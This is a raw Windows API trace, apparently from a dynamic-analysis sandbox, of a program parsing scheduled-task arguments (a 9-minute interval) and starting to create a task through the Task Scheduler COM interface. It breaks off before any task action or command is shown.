lstrlenW (lpString="|f|") returned 3 [0074.390] StrStrIW (lpFirst="|u|", lpSrch="|f|") returned 0x0 [0074.390] SetLastError (dwErrCode=0x490) [0074.390] lstrlenW (lpString="p") returned 1 [0074.390] lstrlenW (lpString="p") returned 1 [0074.390] _memicmp (_Buf1=0x38c1a0, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0074.390] lstrlenW (lpString="f") returned 1 [0074.390] _memicmp (_Buf1=0x38c2e0, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0074.390] _vsnwprintf (in: _Buffer=0x38c320, _BufferCount=0x4, _Format="|%s|", _ArgList=0x27c788 | out: _Buffer="|p|") returned 3 [0074.390] _vsnwprintf (in: _Buffer=0x38c300, _BufferCount=0x4, _Format="|%s|", _ArgList=0x27c788 | out: _Buffer="|f|") returned 3 [0074.390] lstrlenW (lpString="|p|") returned 3 [0074.390] lstrlenW (lpString="|f|") returned 3 [0074.390] StrStrIW (lpFirst="|p|", lpSrch="|f|") returned 0x0 [0074.390] SetLastError (dwErrCode=0x490) [0074.390] lstrlenW (lpString="ru") returned 2 [0074.390] lstrlenW (lpString="ru") returned 2 [0074.391] _memicmp (_Buf1=0x38c1a0, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0074.391] lstrlenW (lpString="f") returned 1 [0074.391] _memicmp (_Buf1=0x38c2e0, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0074.391] _vsnwprintf (in: _Buffer=0x38c320, _BufferCount=0x5, _Format="|%s|", _ArgList=0x27c788 | out: _Buffer="|ru|") returned 4 [0074.391] _vsnwprintf (in: _Buffer=0x38c300, _BufferCount=0x4, _Format="|%s|", _ArgList=0x27c788 | out: _Buffer="|f|") returned 3 [0074.391] lstrlenW (lpString="|ru|") returned 4 [0074.391] lstrlenW (lpString="|f|") returned 3 [0074.391] StrStrIW (lpFirst="|ru|", lpSrch="|f|") returned 0x0 [0074.391] SetLastError (dwErrCode=0x490) [0074.391] lstrlenW (lpString="rp") returned 2 [0074.391] lstrlenW (lpString="rp") returned 2 [0074.391] _memicmp (_Buf1=0x38c1a0, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0074.391] lstrlenW (lpString="f") returned 1 [0074.391] _memicmp (_Buf1=0x38c2e0, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0074.391] _vsnwprintf (in: _Buffer=0x38c320, _BufferCount=0x5, _Format="|%s|", _ArgList=0x27c788 | out: _Buffer="|rp|") returned 4 [0074.391] _vsnwprintf (in: _Buffer=0x38c300, _BufferCount=0x4, _Format="|%s|", _ArgList=0x27c788 | out: _Buffer="|f|") returned 3 [0074.391] lstrlenW (lpString="|rp|") returned 4 [0074.391] lstrlenW (lpString="|f|") returned 3 [0074.391] StrStrIW (lpFirst="|rp|", lpSrch="|f|") returned 0x0 [0074.391] SetLastError (dwErrCode=0x490) [0074.391] lstrlenW (lpString="sc") returned 2 [0074.391] lstrlenW (lpString="sc") returned 2 [0074.391] _memicmp (_Buf1=0x38c1a0, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0074.391] lstrlenW (lpString="f") returned 1 [0074.391] _memicmp (_Buf1=0x38c2e0, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0074.391] _vsnwprintf (in: _Buffer=0x38c320, _BufferCount=0x5, _Format="|%s|", _ArgList=0x27c788 | out: _Buffer="|sc|") returned 4 [0074.391] _vsnwprintf (in: _Buffer=0x38c300, _BufferCount=0x4, _Format="|%s|", _ArgList=0x27c788 | out: _Buffer="|f|") returned 3 [0074.391] lstrlenW (lpString="|sc|") returned 4 [0074.391] lstrlenW (lpString="|f|") returned 3 [0074.391] StrStrIW (lpFirst="|sc|", lpSrch="|f|") returned 0x0 [0074.392] SetLastError (dwErrCode=0x490) [0074.392] lstrlenW (lpString="mo") returned 2 [0074.392] lstrlenW (lpString="mo") returned 2 [0074.392] _memicmp (_Buf1=0x38c1a0, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0074.392] lstrlenW (lpString="f") returned 1 [0074.392] _memicmp (_Buf1=0x38c2e0, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0074.392] _vsnwprintf (in: _Buffer=0x38c320, _BufferCount=0x5, _Format="|%s|", _ArgList=0x27c788 | out: _Buffer="|mo|") returned 4 [0074.392] _vsnwprintf (in: _Buffer=0x38c300, _BufferCount=0x4, _Format="|%s|", _ArgList=0x27c788 | out: _Buffer="|f|") returned 3 [0074.392] lstrlenW (lpString="|mo|") returned 4 [0074.392] lstrlenW (lpString="|f|") returned 3 [0074.392] StrStrIW (lpFirst="|mo|", lpSrch="|f|") returned 0x0 [0074.392] SetLastError (dwErrCode=0x490) [0074.392] lstrlenW (lpString="d") returned 1 [0074.392] lstrlenW (lpString="d") returned 1 [0074.392] _memicmp (_Buf1=0x38c1a0, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0074.392] lstrlenW (lpString="f") returned 1 [0074.392] _memicmp (_Buf1=0x38c2e0, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0074.392] _vsnwprintf (in: _Buffer=0x38c320, _BufferCount=0x4, _Format="|%s|", _ArgList=0x27c788 | out: _Buffer="|d|") returned 3 [0074.392] _vsnwprintf (in: _Buffer=0x38c300, _BufferCount=0x4, _Format="|%s|", _ArgList=0x27c788 | out: _Buffer="|f|") returned 3 [0074.392] lstrlenW (lpString="|d|") returned 3 [0074.392] lstrlenW (lpString="|f|") returned 3 [0074.392] StrStrIW (lpFirst="|d|", lpSrch="|f|") returned 0x0 [0074.392] SetLastError (dwErrCode=0x490) [0074.392] lstrlenW (lpString="m") returned 1 [0074.392] lstrlenW (lpString="m") returned 1 [0074.392] _memicmp (_Buf1=0x38c1a0, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0074.392] lstrlenW (lpString="f") returned 1 [0074.392] _memicmp (_Buf1=0x38c2e0, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0074.392] _vsnwprintf (in: _Buffer=0x38c320, _BufferCount=0x4, _Format="|%s|", _ArgList=0x27c788 | out: _Buffer="|m|") returned 3 [0074.392] _vsnwprintf (in: _Buffer=0x38c300, _BufferCount=0x4, _Format="|%s|", _ArgList=0x27c788 | out: _Buffer="|f|") returned 3 [0074.393] lstrlenW (lpString="|m|") returned 3 [0074.393] lstrlenW (lpString="|f|") returned 3 [0074.393] StrStrIW (lpFirst="|m|", lpSrch="|f|") returned 0x0 [0074.393] SetLastError (dwErrCode=0x490) [0074.393] lstrlenW (lpString="i") returned 1 [0074.393] lstrlenW (lpString="i") returned 1 [0074.393] _memicmp (_Buf1=0x38c1a0, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0074.393] lstrlenW (lpString="f") returned 1 [0074.393] _memicmp (_Buf1=0x38c2e0, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0074.393] _vsnwprintf (in: _Buffer=0x38c320, _BufferCount=0x4, _Format="|%s|", _ArgList=0x27c788 | out: _Buffer="|i|") returned 3 [0074.393] _vsnwprintf (in: _Buffer=0x38c300, _BufferCount=0x4, _Format="|%s|", _ArgList=0x27c788 | out: _Buffer="|f|") returned 3 [0074.393] lstrlenW (lpString="|i|") returned 3 [0074.393] lstrlenW (lpString="|f|") returned 3 [0074.393] StrStrIW (lpFirst="|i|", lpSrch="|f|") returned 0x0 [0074.393] SetLastError (dwErrCode=0x490) [0074.393] lstrlenW (lpString="tn") returned 2 [0074.393] lstrlenW (lpString="tn") returned 2 [0074.393] _memicmp (_Buf1=0x38c1a0, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0074.393] lstrlenW (lpString="f") returned 1 [0074.393] _memicmp (_Buf1=0x38c2e0, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0074.393] _vsnwprintf (in: _Buffer=0x38c320, _BufferCount=0x5, _Format="|%s|", _ArgList=0x27c788 | out: _Buffer="|tn|") returned 4 [0074.393] _vsnwprintf (in: _Buffer=0x38c300, _BufferCount=0x4, _Format="|%s|", _ArgList=0x27c788 | out: _Buffer="|f|") returned 3 [0074.393] lstrlenW (lpString="|tn|") returned 4 [0074.393] lstrlenW (lpString="|f|") returned 3 [0074.393] StrStrIW (lpFirst="|tn|", lpSrch="|f|") returned 0x0 [0074.393] SetLastError (dwErrCode=0x490) [0074.393] lstrlenW (lpString="tr") returned 2 [0074.393] lstrlenW (lpString="tr") returned 2 [0074.393] _memicmp (_Buf1=0x38c1a0, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0074.393] lstrlenW (lpString="f") returned 1 [0074.394] _memicmp (_Buf1=0x38c2e0, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0074.394] _vsnwprintf (in: _Buffer=0x38c320, _BufferCount=0x5, _Format="|%s|", _ArgList=0x27c788 | out: _Buffer="|tr|") returned 4 [0074.394] _vsnwprintf (in: _Buffer=0x38c300, _BufferCount=0x4, _Format="|%s|", _ArgList=0x27c788 | out: _Buffer="|f|") returned 3 [0074.394] lstrlenW (lpString="|tr|") returned 4 [0074.394] lstrlenW (lpString="|f|") returned 3 [0074.394] StrStrIW (lpFirst="|tr|", lpSrch="|f|") returned 0x0 [0074.394] SetLastError (dwErrCode=0x490) [0074.394] lstrlenW (lpString="st") returned 2 [0074.394] lstrlenW (lpString="st") returned 2 [0074.394] _memicmp (_Buf1=0x38c1a0, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0074.394] lstrlenW (lpString="f") returned 1 [0074.394] _memicmp (_Buf1=0x38c2e0, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0074.394] _vsnwprintf (in: _Buffer=0x38c320, _BufferCount=0x5, _Format="|%s|", _ArgList=0x27c788 | out: _Buffer="|st|") returned 4 [0074.394] _vsnwprintf (in: _Buffer=0x38c300, _BufferCount=0x4, _Format="|%s|", _ArgList=0x27c788 | out: _Buffer="|f|") returned 3 [0074.394] lstrlenW (lpString="|st|") returned 4 [0074.394] lstrlenW (lpString="|f|") returned 3 [0074.394] StrStrIW (lpFirst="|st|", lpSrch="|f|") returned 0x0 [0074.394] SetLastError (dwErrCode=0x490) [0074.394] lstrlenW (lpString="sd") returned 2 [0074.394] lstrlenW (lpString="sd") returned 2 [0074.394] _memicmp (_Buf1=0x38c1a0, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0074.394] lstrlenW (lpString="f") returned 1 [0074.394] _memicmp (_Buf1=0x38c2e0, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0074.394] _vsnwprintf (in: _Buffer=0x38c320, _BufferCount=0x5, _Format="|%s|", _ArgList=0x27c788 | out: _Buffer="|sd|") returned 4 [0074.394] _vsnwprintf (in: _Buffer=0x38c300, _BufferCount=0x4, _Format="|%s|", _ArgList=0x27c788 | out: _Buffer="|f|") returned 3 [0074.394] lstrlenW (lpString="|sd|") returned 4 [0074.394] lstrlenW (lpString="|f|") returned 3 [0074.394] StrStrIW (lpFirst="|sd|", lpSrch="|f|") returned 0x0 [0074.394] SetLastError (dwErrCode=0x490) [0074.395] lstrlenW (lpString="ed") returned 2 [0074.395] lstrlenW (lpString="ed") returned 2 [0074.395] _memicmp (_Buf1=0x38c1a0, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0074.395] lstrlenW (lpString="f") returned 1 [0074.395] _memicmp (_Buf1=0x38c2e0, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0074.395] _vsnwprintf (in: _Buffer=0x38c320, _BufferCount=0x5, _Format="|%s|", _ArgList=0x27c788 | out: _Buffer="|ed|") returned 4 [0074.395] _vsnwprintf (in: _Buffer=0x38c300, _BufferCount=0x4, _Format="|%s|", _ArgList=0x27c788 | out: _Buffer="|f|") returned 3 [0074.395] lstrlenW (lpString="|ed|") returned 4 [0074.395] lstrlenW (lpString="|f|") returned 3 [0074.395] StrStrIW (lpFirst="|ed|", lpSrch="|f|") returned 0x0 [0074.395] SetLastError (dwErrCode=0x490) [0074.395] lstrlenW (lpString="it") returned 2 [0074.395] lstrlenW (lpString="it") returned 2 [0074.395] _memicmp (_Buf1=0x38c1a0, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0074.395] lstrlenW (lpString="f") returned 1 [0074.395] _memicmp (_Buf1=0x38c2e0, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0074.395] _vsnwprintf (in: _Buffer=0x38c320, _BufferCount=0x5, _Format="|%s|", _ArgList=0x27c788 | out: _Buffer="|it|") returned 4 [0074.395] _vsnwprintf (in: _Buffer=0x38c300, _BufferCount=0x4, _Format="|%s|", _ArgList=0x27c788 | out: _Buffer="|f|") returned 3 [0074.395] lstrlenW (lpString="|it|") returned 4 [0074.395] lstrlenW (lpString="|f|") returned 3 [0074.395] StrStrIW (lpFirst="|it|", lpSrch="|f|") returned 0x0 [0074.395] SetLastError (dwErrCode=0x490) [0074.395] lstrlenW (lpString="et") returned 2 [0074.395] lstrlenW (lpString="et") returned 2 [0074.395] _memicmp (_Buf1=0x38c1a0, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0074.395] lstrlenW (lpString="f") returned 1 [0074.395] _memicmp (_Buf1=0x38c2e0, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0074.395] _vsnwprintf (in: _Buffer=0x38c320, _BufferCount=0x5, _Format="|%s|", _ArgList=0x27c788 | out: _Buffer="|et|") returned 4 [0074.396] _vsnwprintf (in: _Buffer=0x38c300, _BufferCount=0x4, _Format="|%s|", _ArgList=0x27c788 | out: _Buffer="|f|") returned 3 [0074.396] lstrlenW (lpString="|et|") returned 4 [0074.396] lstrlenW (lpString="|f|") returned 3 [0074.396] StrStrIW (lpFirst="|et|", lpSrch="|f|") returned 0x0 [0074.396] SetLastError (dwErrCode=0x490) [0074.396] lstrlenW (lpString="k") returned 1 [0074.396] lstrlenW (lpString="k") returned 1 [0074.396] _memicmp (_Buf1=0x38c1a0, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0074.396] lstrlenW (lpString="f") returned 1 [0074.396] _memicmp (_Buf1=0x38c2e0, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0074.396] _vsnwprintf (in: _Buffer=0x38c320, _BufferCount=0x4, _Format="|%s|", _ArgList=0x27c788 | out: _Buffer="|k|") returned 3 [0074.396] _vsnwprintf (in: _Buffer=0x38c300, _BufferCount=0x4, _Format="|%s|", _ArgList=0x27c788 | out: _Buffer="|f|") returned 3 [0074.396] lstrlenW (lpString="|k|") returned 3 [0074.396] lstrlenW (lpString="|f|") returned 3 [0074.396] StrStrIW (lpFirst="|k|", lpSrch="|f|") returned 0x0 [0074.396] SetLastError (dwErrCode=0x490) [0074.396] lstrlenW (lpString="du") returned 2 [0074.396] lstrlenW (lpString="du") returned 2 [0074.396] _memicmp (_Buf1=0x38c1a0, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0074.396] lstrlenW (lpString="f") returned 1 [0074.396] _memicmp (_Buf1=0x38c2e0, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0074.396] _vsnwprintf (in: _Buffer=0x38c320, _BufferCount=0x5, _Format="|%s|", _ArgList=0x27c788 | out: _Buffer="|du|") returned 4 [0074.396] _vsnwprintf (in: _Buffer=0x38c300, _BufferCount=0x4, _Format="|%s|", _ArgList=0x27c788 | out: _Buffer="|f|") returned 3 [0074.396] lstrlenW (lpString="|du|") returned 4 [0074.396] lstrlenW (lpString="|f|") returned 3 [0074.396] StrStrIW (lpFirst="|du|", lpSrch="|f|") returned 0x0 [0074.396] SetLastError (dwErrCode=0x490) [0074.396] lstrlenW (lpString="ri") returned 2 [0074.396] lstrlenW (lpString="ri") returned 2 [0074.396] _memicmp (_Buf1=0x38c1a0, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0074.396] lstrlenW (lpString="f") returned 1 [0074.397] _memicmp (_Buf1=0x38c2e0, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0074.397] _vsnwprintf (in: _Buffer=0x38c320, _BufferCount=0x5, _Format="|%s|", _ArgList=0x27c788 | out: _Buffer="|ri|") returned 4 [0074.397] _vsnwprintf (in: _Buffer=0x38c300, _BufferCount=0x4, _Format="|%s|", _ArgList=0x27c788 | out: _Buffer="|f|") returned 3 [0074.397] lstrlenW (lpString="|ri|") returned 4 [0074.397] lstrlenW (lpString="|f|") returned 3 [0074.397] StrStrIW (lpFirst="|ri|", lpSrch="|f|") returned 0x0 [0074.397] SetLastError (dwErrCode=0x490) [0074.397] lstrlenW (lpString="z") returned 1 [0074.397] lstrlenW (lpString="z") returned 1 [0074.397] _memicmp (_Buf1=0x38c1a0, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0074.397] lstrlenW (lpString="f") returned 1 [0074.397] _memicmp (_Buf1=0x38c2e0, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0074.397] _vsnwprintf (in: _Buffer=0x38c320, _BufferCount=0x4, _Format="|%s|", _ArgList=0x27c788 | out: _Buffer="|z|") returned 3 [0074.397] _vsnwprintf (in: _Buffer=0x38c300, _BufferCount=0x4, _Format="|%s|", _ArgList=0x27c788 | out: _Buffer="|f|") returned 3 [0074.397] lstrlenW (lpString="|z|") returned 3 [0074.397] lstrlenW (lpString="|f|") returned 3 [0074.397] StrStrIW (lpFirst="|z|", lpSrch="|f|") returned 0x0 [0074.397] SetLastError (dwErrCode=0x490) [0074.397] lstrlenW (lpString="f") returned 1 [0074.397] lstrlenW (lpString="f") returned 1 [0074.397] _memicmp (_Buf1=0x38c1a0, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0074.397] lstrlenW (lpString="f") returned 1 [0074.397] _memicmp (_Buf1=0x38c2e0, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0074.397] _vsnwprintf (in: _Buffer=0x38c320, _BufferCount=0x4, _Format="|%s|", _ArgList=0x27c788 | out: _Buffer="|f|") returned 3 [0074.397] _vsnwprintf (in: _Buffer=0x38c300, _BufferCount=0x4, _Format="|%s|", _ArgList=0x27c788 | out: _Buffer="|f|") returned 3 [0074.397] lstrlenW (lpString="|f|") returned 3 [0074.397] lstrlenW (lpString="|f|") returned 3 [0074.397] StrStrIW (lpFirst="|f|", lpSrch="|f|") returned="|f|" [0074.397] SetLastError (dwErrCode=0x0) [0074.397] SetLastError (dwErrCode=0x0) [0074.398] GetProcessHeap () returned 0x370000 [0074.398] RtlAllocateHeap (HeapHandle=0x370000, Flags=0xc, Size=0x20) returned 0x38ce10 [0074.398] _memicmp (_Buf1=0x38bb90, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0074.398] LoadStringW (in: hInstance=0x0, uID=0x1ae, lpBuffer=0x38d3a0, cchBufferMax=256 | out: lpBuffer="MINUTE") returned 0x6 [0074.398] lstrlenW (lpString="MINUTE") returned 6 [0074.398] GetProcessHeap () returned 0x370000 [0074.398] RtlAllocateHeap (HeapHandle=0x370000, Flags=0xc, Size=0xe) returned 0x38d660 [0074.398] GetThreadLocale () returned 0x409 [0074.398] CompareStringW (Locale=0x409, dwCmpFlags=0x1, lpString1="MINUTE", cchCount1=-1, lpString2="MINUTE", cchCount2=-1) returned 2 [0074.398] SetLastError (dwErrCode=0x0) [0074.398] GetProcessHeap () returned 0x370000 [0074.398] RtlAllocateHeap (HeapHandle=0x370000, Flags=0xc, Size=0x1fc) returned 0x38c450 [0074.398] GetProcessHeap () returned 0x370000 [0074.398] RtlAllocateHeap (HeapHandle=0x370000, Flags=0xc, Size=0x20) returned 0x38cde0 [0074.398] _memicmp (_Buf1=0x38bb90, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0074.398] LoadStringW (in: hInstance=0x0, uID=0x1d7, lpBuffer=0x38d3a0, cchBufferMax=256 | out: lpBuffer="First") returned 0x5 [0074.398] lstrlenW (lpString="First") returned 5 [0074.398] GetProcessHeap () returned 0x370000 [0074.398] RtlAllocateHeap (HeapHandle=0x370000, Flags=0xc, Size=0xc) returned 0x38d680 [0074.398] GetProcessHeap () returned 0x370000 [0074.398] RtlAllocateHeap (HeapHandle=0x370000, Flags=0xc, Size=0x20) returned 0x38cdb0 [0074.398] _memicmp (_Buf1=0x38bb90, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0074.398] LoadStringW (in: hInstance=0x0, uID=0x1d8, lpBuffer=0x38d3a0, cchBufferMax=256 | out: lpBuffer="Second") returned 0x6 [0074.398] lstrlenW (lpString="Second") returned 6 [0074.398] GetProcessHeap () returned 0x370000 [0074.398] RtlAllocateHeap (HeapHandle=0x370000, Flags=0xc, Size=0xe) returned 0x38d6a0 [0074.398] GetProcessHeap () returned 0x370000 [0074.398] RtlAllocateHeap (HeapHandle=0x370000, Flags=0xc, Size=0x20) returned 0x38cd80 [0074.398] _memicmp (_Buf1=0x38bb90, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0074.399] LoadStringW (in: hInstance=0x0, uID=0x1d9, lpBuffer=0x38d3a0, cchBufferMax=256 | out: lpBuffer="Third") returned 0x5 [0074.399] lstrlenW (lpString="Third") returned 5 [0074.399] GetProcessHeap () returned 0x370000 [0074.399] RtlAllocateHeap (HeapHandle=0x370000, Flags=0xc, Size=0xc) returned 0x38d6c0 [0074.399] GetProcessHeap () returned 0x370000 [0074.399] RtlAllocateHeap (HeapHandle=0x370000, Flags=0xc, Size=0x20) returned 0x38cd50 [0074.399] _memicmp (_Buf1=0x38bb90, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0074.399] LoadStringW (in: hInstance=0x0, uID=0x1da, lpBuffer=0x38d3a0, cchBufferMax=256 | out: lpBuffer="Fourth") returned 0x6 [0074.399] lstrlenW (lpString="Fourth") returned 6 [0074.399] GetProcessHeap () returned 0x370000 [0074.399] RtlAllocateHeap (HeapHandle=0x370000, Flags=0xc, Size=0xe) returned 0x38d6e0 [0074.399] GetProcessHeap () returned 0x370000 [0074.399] RtlAllocateHeap (HeapHandle=0x370000, Flags=0xc, Size=0x20) returned 0x38cd20 [0074.399] _memicmp (_Buf1=0x38bb90, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0074.399] LoadStringW (in: hInstance=0x0, uID=0x1db, lpBuffer=0x38d3a0, cchBufferMax=256 | out: lpBuffer="Last") returned 0x4 [0074.399] lstrlenW (lpString="Last") returned 4 [0074.399] GetProcessHeap () returned 0x370000 [0074.399] RtlAllocateHeap (HeapHandle=0x370000, Flags=0xc, Size=0xa) returned 0x38d700 [0074.399] lstrlenW (lpString="9") returned 1 [0074.399] _wtol (_String="9") returned 9 [0074.399] GetProcessHeap () returned 0x370000 [0074.399] RtlAllocateHeap (HeapHandle=0x370000, Flags=0xc, Size=0x20) returned 0x38ccf0 [0074.399] _memicmp (_Buf1=0x38bb90, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0074.399] LoadStringW (in: hInstance=0x0, uID=0x1d7, lpBuffer=0x38d3a0, cchBufferMax=256 | out: lpBuffer="First") returned 0x5 [0074.399] lstrlenW (lpString="First") returned 5 [0074.399] GetProcessHeap () returned 0x370000 [0074.399] RtlAllocateHeap (HeapHandle=0x370000, Flags=0xc, Size=0xc) returned 0x38d720 [0074.399] _memicmp (_Buf1=0x38bb90, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0074.399] LoadStringW (in: hInstance=0x0, uID=0x1d8, lpBuffer=0x38d3a0, cchBufferMax=256 | out: lpBuffer="Second") returned 0x6 [0074.399] lstrlenW (lpString="Second") returned 6 [0074.399] GetProcessHeap () returned 0x370000 [0074.399] RtlAllocateHeap (HeapHandle=0x370000, Flags=0xc, Size=0xe) returned 0x38d740 [0074.400] _memicmp (_Buf1=0x38bb90, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0074.400] LoadStringW (in: hInstance=0x0, uID=0x1d9, lpBuffer=0x38d3a0, cchBufferMax=256 | out: lpBuffer="Third") returned 0x5 [0074.400] lstrlenW (lpString="Third") returned 5 [0074.400] _memicmp (_Buf1=0x38bb90, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0074.400] LoadStringW (in: hInstance=0x0, uID=0x1da, lpBuffer=0x38d3a0, cchBufferMax=256 | out: lpBuffer="Fourth") returned 0x6 [0074.400] lstrlenW (lpString="Fourth") returned 6 [0074.400] _memicmp (_Buf1=0x38bb90, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0074.400] LoadStringW (in: hInstance=0x0, uID=0x1db, lpBuffer=0x38d3a0, cchBufferMax=256 | out: lpBuffer="Last") returned 0x4 [0074.400] lstrlenW (lpString="Last") returned 4 [0074.400] GetLocaleInfoW (in: Locale=0x400, LCType=0x21, lpLCData=0x27c600, cchData=128 | out: lpLCData="0") returned 2 [0074.400] _memicmp (_Buf1=0x38bb90, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0074.400] LoadStringW (in: hInstance=0x0, uID=0x19c, lpBuffer=0x38d3a0, cchBufferMax=256 | out: lpBuffer="mm/dd/yyyy") returned 0xa [0074.400] lstrlenW (lpString="mm/dd/yyyy") returned 10 [0074.400] GetProcessHeap () returned 0x370000 [0074.400] GetProcessHeap () returned 0x370000 [0074.400] HeapValidate (hHeap=0x370000, dwFlags=0x0, lpMem=0x38d680) returned 1 [0074.400] GetProcessHeap () returned 0x370000 [0074.400] RtlSizeHeap (HeapHandle=0x370000, Flags=0x0, MemoryPointer=0x38d680) returned 0xc [0074.400] HeapFree (in: hHeap=0x370000, dwFlags=0x0, lpMem=0x38d680 | out: hHeap=0x370000) returned 1 [0074.400] GetProcessHeap () returned 0x370000 [0074.400] RtlAllocateHeap (HeapHandle=0x370000, Flags=0xc, Size=0x16) returned 0x38d680 [0074.400] GetLocaleInfoW (in: Locale=0x400, LCType=0x21, lpLCData=0x27c620, cchData=128 | out: lpLCData="0") returned 2 [0074.400] _memicmp (_Buf1=0x38bb90, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0074.400] LoadStringW (in: hInstance=0x0, uID=0x19c, lpBuffer=0x38d3a0, cchBufferMax=256 | out: lpBuffer="mm/dd/yyyy") returned 0xa [0074.400] lstrlenW (lpString="mm/dd/yyyy") returned 10 [0074.400] GetProcessHeap () returned 0x370000 [0074.400] GetProcessHeap () returned 0x370000 [0074.401] HeapValidate (hHeap=0x370000, dwFlags=0x0, lpMem=0x38d6a0) returned 1 [0074.401] GetProcessHeap () returned 0x370000 [0074.401] RtlSizeHeap (HeapHandle=0x370000, Flags=0x0, MemoryPointer=0x38d6a0) returned 0xe [0074.401] HeapFree (in: hHeap=0x370000, dwFlags=0x0, lpMem=0x38d6a0 | out: hHeap=0x370000) returned 1 [0074.401] GetProcessHeap () returned 0x370000 [0074.401] RtlAllocateHeap (HeapHandle=0x370000, Flags=0xc, Size=0x16) returned 0x38d6a0 [0074.401] GetLocalTime (in: lpSystemTime=0x27c850 | out: lpSystemTime=0x27c850*(wYear=0x7e7, wMonth=0x9, wDayOfWeek=0x2, wDay=0x13, wHour=0x11, wMinute=0x10, wSecond=0x3a, wMilliseconds=0x2f5)) [0074.401] lstrlenW (lpString="") returned 0 [0074.401] GetLocalTime (in: lpSystemTime=0x27d108 | out: lpSystemTime=0x27d108*(wYear=0x7e7, wMonth=0x9, wDayOfWeek=0x2, wDay=0x13, wHour=0x11, wMinute=0x10, wSecond=0x3a, wMilliseconds=0x2f5)) [0074.401] lstrlenW (lpString="") returned 0 [0074.401] lstrlenW (lpString="") returned 0 [0074.401] lstrlenW (lpString="") returned 0 [0074.401] lstrlenW (lpString="") returned 0 [0074.401] lstrlenW (lpString="9") returned 1 [0074.401] _wtol (_String="9") returned 9 [0074.401] lstrlenW (lpString="") returned 0 [0074.401] lstrlenW (lpString="") returned 0 [0074.401] CoInitializeEx (pvReserved=0x0, dwCoInit=0x2) returned 0x0 [0074.419] CoInitializeSecurity (pSecDesc=0x0, cAuthSvc=-1, asAuthSvc=0x0, pReserved1=0x0, dwAuthnLevel=0x1, dwImpLevel=0x3, pAuthList=0x0, dwCapabilities=0x0, pReserved3=0x0) returned 0x0 [0074.479] CoCreateInstance (in: rclsid=0xff9d1ae0*(Data1=0xf87369f, Data2=0xa4e5, Data3=0x4cfc, Data4=([0]=0xbd, [1]=0x3e, [2]=0x73, [3]=0xe6, [4]=0x15, [5]=0x45, [6]=0x72, [7]=0xdd)), pUnkOuter=0x0, dwClsContext=0x17, riid=0xff9d1ad0*(Data1=0x2faba4c7, Data2=0x4da9, Data3=0x4013, Data4=([0]=0x96, [1]=0x97, [2]=0x20, [3]=0xcc, [4]=0x3f, [5]=0xd4, [6]=0xf, [7]=0x85)), ppv=0x27ced0 | out: ppv=0x27ced0*=0x47dee0) returned 0x0 [0074.488] TaskScheduler:ITaskService:Connect (This=0x47dee0, serverName=0x27cfb0*(varType=0x8, wReserved1=0x27, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), user=0x27cf70*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x32524553524150), domain=0x27cf90*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), password=0x27cf50*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0xc0, varVal2=0x100000001)) returned 0x0 [0074.530] TaskScheduler:IUnknown:AddRef (This=0x47dee0) returned 0x2 [0074.530] TaskScheduler:ITaskService:GetFolder (in: This=0x47dee0, Path=0x0, ppFolder=0x27d068 | out: ppFolder=0x27d068*=0x1b7c70) returned 0x0 [0074.532] TaskScheduler:ITaskService:NewTask (in: This=0x47dee0, flags=0x0, ppDefinition=0x27d060 | out: ppDefinition=0x27d060*=0x1b7cc0) returned 0x0 [0074.533] ITaskDefinition:get_Actions (in: This=0x1b7cc0, ppActions=0x27cfe0 | out: 